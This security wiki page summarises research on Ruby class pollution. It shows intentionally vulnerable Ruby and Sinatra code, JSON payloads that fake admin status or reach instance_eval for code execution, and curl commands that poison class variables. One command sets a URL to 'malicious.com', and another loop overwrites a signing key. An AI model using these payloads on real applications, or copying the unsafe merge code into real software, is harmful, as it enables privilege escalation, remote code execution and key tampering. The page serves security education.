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# Ruby Class Pollution
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This is a summary from the post [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
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## Merge on Attributes
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Example:
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```ruby
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# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
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# Comments added to exploit the merge on attributes
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require 'json'
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# Base class for both Admin and Regular users
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class Person
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attr_accessor :name, :age, :details
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def initialize(name:, age:, details:)
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@name = name
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@age = age
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@details = details
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end
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# Method to merge additional data into the object
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def merge_with(additional)
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recursive_merge(self, additional)
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end
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# Authorize based on the `to_s` method result
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def authorize
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if to_s == "Admin"
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puts "Access granted: #{@name} is an admin."
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else
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puts "Access denied: #{@name} is not an admin."
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end
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end
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# Health check that executes all protected methods using `instance_eval`
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def health_check
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protected_methods().each do |method|
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instance_eval(method.to_s)
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end
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end
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private
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# VULNERABLE FUNCTION that can be abused to merge attributes
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def recursive_merge(original, additional, current_obj = original)
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additional.each do |key, value|
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if value.is_a?(Hash)
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if current_obj.respond_to?(key)
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next_obj = current_obj.public_send(key)
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recursive_merge(original, value, next_obj)
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else
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new_object = Object.new
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current_obj.instance_variable_set("@#{key}", new_object)
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current_obj.singleton_class.attr_accessor key
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end
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else
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current_obj.instance_variable_set("@#{key}", value)
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current_obj.singleton_class.attr_accessor key
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end
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end
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original
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end
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protected
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def check_cpu
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puts "CPU check passed."
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end
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def check_memory
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puts "Memory check passed."
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end
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end
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# Admin class inherits from Person
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class Admin < Person
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def initialize(name:, age:, details:)
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super(name: name, age: age, details: details)
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end
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def to_s
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"Admin"
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end
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end
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# Regular user class inherits from Person
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class User < Person
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def initialize(name:, age:, details:)
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super(name: name, age: age, details: details)
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end
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def to_s
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"User"
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end
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end
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class JSONMergerApp
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def self.run(json_input)
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additional_object = JSON.parse(json_input)
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# Instantiate a regular user
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user = User.new(
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name: "John Doe",
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age: 30,
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details: {
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"occupation" => "Engineer",
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"location" => {
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"city" => "Madrid",
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"country" => "Spain"
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}
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}
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)
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# Perform a recursive merge, which could override methods
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user.merge_with(additional_object)
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# Authorize the user (privilege escalation vulnerability)
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# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
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user.authorize
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# Execute health check (RCE vulnerability)
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# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
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user.health_check
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end
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end
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if ARGV.length != 1
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puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
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exit
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end
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json_input = ARGV[0]
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JSONMergerApp.run(json_input)
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```
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### Explanation
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1. **Privilege Escalation**: The `authorize` method checks if `to_s` returns "Admin." By injecting a new `to_s` attribute through JSON, an attacker can make the `to_s` method return "Admin," granting unauthorized privileges.
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2. **Remote Code Execution**: In `health_check`, `instance_eval` executes methods listed in `protected_methods`. If an attacker injects custom method names (like `"puts 1"`), `instance_eval` will execute it, leading to **remote code execution (RCE)**.
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1. This is only possible because there is a **vulnerable `eval` instruction** executing the string value of that attribute.
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3. **Impact Limitation**: This vulnerability only affects individual instances, leaving other instances of `User` and `Admin` unaffected, thus limiting the scope of exploitation.
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### Real-World Cases <a href="#real-world-cases" id="real-world-cases"></a>
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### ActiveSupport’s `deep_merge`
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This isn't vulnerable by default but can be made vulnerable with something like: 
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```ruby
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# Method to merge additional data into the object using ActiveSupport deep_merge
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def merge_with(other_object)
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merged_hash = to_h.deep_merge(other_object)
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merged_hash.each do |key, value|
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self.class.attr_accessor key
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instance_variable_set("@#{key}", value)
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end
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self
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end
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```
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### Hashie’s `deep_merge`
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Hashie’s `deep_merge` method operates directly on object attributes rather than plain hashes. It **prevents replacement of methods** with attributes in a merge with some **exceptions**: attributes that end with `_`, `!`, or `?` can still be merged into the object.
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Some special case is the attribute **`_`** on its own. Just `_` is an attribute that usually returns a `Mash` object. And because it's part of the **exceptions**, it's possible to modify it.
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Check the following example how passing `{"_": "Admin"}` one is able to bypass `_.to_s == "Admin"`:
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```ruby
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require 'json'
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require 'hashie'
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# Base class for both Admin and Regular users
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class Person < Hashie::Mash
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# Method to merge additional data into the object using hashie
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def merge_with(other_object)
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deep_merge!(other_object)
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self
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end
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# Authorize based on to_s
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def authorize
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if _.to_s == "Admin"
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puts "Access granted: #{@name} is an admin."
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else
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puts "Access denied: #{@name} is not an admin."
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end
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end
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end
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# Admin class inherits from Person
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class Admin < Person
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def to_s
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"Admin"
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end
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end
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# Regular user class inherits from Person
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class User < Person
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def to_s
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"User"
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end
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end
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class JSONMergerApp
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def self.run(json_input)
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additional_object = JSON.parse(json_input)
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# Instantiate a regular user
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user = User.new({
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name: "John Doe",
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age: 30,
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details: {
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"occupation" => "Engineer",
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"location" => {
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"city" => "Madrid",
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"country" => "Spain"
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}
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}
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})
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# Perform a deep merge, which could override methods
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user.merge_with(additional_object)
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# Authorize the user (privilege escalation vulnerability)
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# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
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# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
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user.authorize
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end
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end
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if ARGV.length != 1
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puts "Usage: ruby hashie.rb 'JSON_STRING'"
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exit
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end
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json_input = ARGV[0]
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JSONMergerApp.run(json_input)
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```
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## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
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In the following example it's possible to find the class **`Person`**, and the the clases **`Admin`** and **`Regular`** which inherits from the **`Person`** class. It also has another class called **`KeySigner`**:
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```ruby
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require 'json'
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require 'sinatra/base'
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require 'net/http'
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# Base class for both Admin and Regular users
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class Person
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@@url = "http://default-url.com"
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attr_accessor :name, :age, :details
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def initialize(name:, age:, details:)
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@name = name
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@age = age
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@details = details
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end
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def self.url
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@@url
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end
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# Method to merge additional data into the object
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def merge_with(additional)
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recursive_merge(self, additional)
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end
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private
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# Recursive merge to modify instance variables
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def recursive_merge(original, additional, current_obj = original)
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additional.each do |key, value|
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if value.is_a?(Hash)
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if current_obj.respond_to?(key)
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next_obj = current_obj.public_send(key)
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recursive_merge(original, value, next_obj)
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else
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new_object = Object.new
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current_obj.instance_variable_set("@#{key}", new_object)
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current_obj.singleton_class.attr_accessor key
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end
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else
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current_obj.instance_variable_set("@#{key}", value)
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current_obj.singleton_class.attr_accessor key
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end
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end
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original
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end
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end
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class User < Person
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def initialize(name:, age:, details:)
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super(name: name, age: age, details: details)
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end
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end
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# A class created to simulate signing with a key, to be infected with the third gadget
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class KeySigner
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@@signing_key = "default-signing-key"
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def self.signing_key
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@@signing_key
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end
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def sign(signing_key, data)
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"#{data}-signed-with-#{signing_key}"
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end
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end
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class JSONMergerApp < Sinatra::Base
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# POST /merge - Infects class variables using JSON input
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post '/merge' do
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content_type :json
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json_input = JSON.parse(request.body.read)
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user = User.new(
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name: "John Doe",
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age: 30,
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details: {
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"occupation" => "Engineer",
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"location" => {
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"city" => "Madrid",
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"country" => "Spain"
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}
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}
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)
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user.merge_with(json_input)
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{ status: 'merged' }.to_json
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end
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# GET /launch-curl-command - Activates the first gadget
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get '/launch-curl-command' do
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content_type :json
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# This gadget makes an HTTP request to the URL stored in the User class
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if Person.respond_to?(:url)
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url = Person.url
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response = Net::HTTP.get_response(URI(url))
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{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
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else
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{ status: 'Failed to access URL variable' }.to_json
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end
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end
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# Curl command to infect User class URL:
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# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
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# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
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get '/sign_with_subclass_key' do
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content_type :json
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# This gadget signs data using the signing key stored in KeySigner class
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signer = KeySigner.new
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signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
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{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
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end
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# Curl command to infect KeySigner signing key (run in a loop until successful):
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# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
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# GET /check-infected-vars - Check if all variables have been infected
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get '/check-infected-vars' do
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content_type :json
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{
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user_url: Person.url,
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signing_key: KeySigner.signing_key
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}.to_json
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end
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run! if app_file == $0
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end
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```
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### Poison Parent Class
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With this payload:
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{% code overflow="wrap" %}
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```bash
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curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
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```
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{% endcode %}
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It's possible to modify the value of the **`@@url`** attribute of the parent class **`Person`**.
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### **Poisoning Other Classes**
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With this payload:
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{% code overflow="wrap" %}
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```bash
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for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
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```
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{% endcode %}
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It's possible to brute-force the defined classes and at some point poison the class **`KeySigner`** modifying the value of `signing_key` by `injected-signing-key`.\
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## References
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* [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
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</details>
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{% endhint %}
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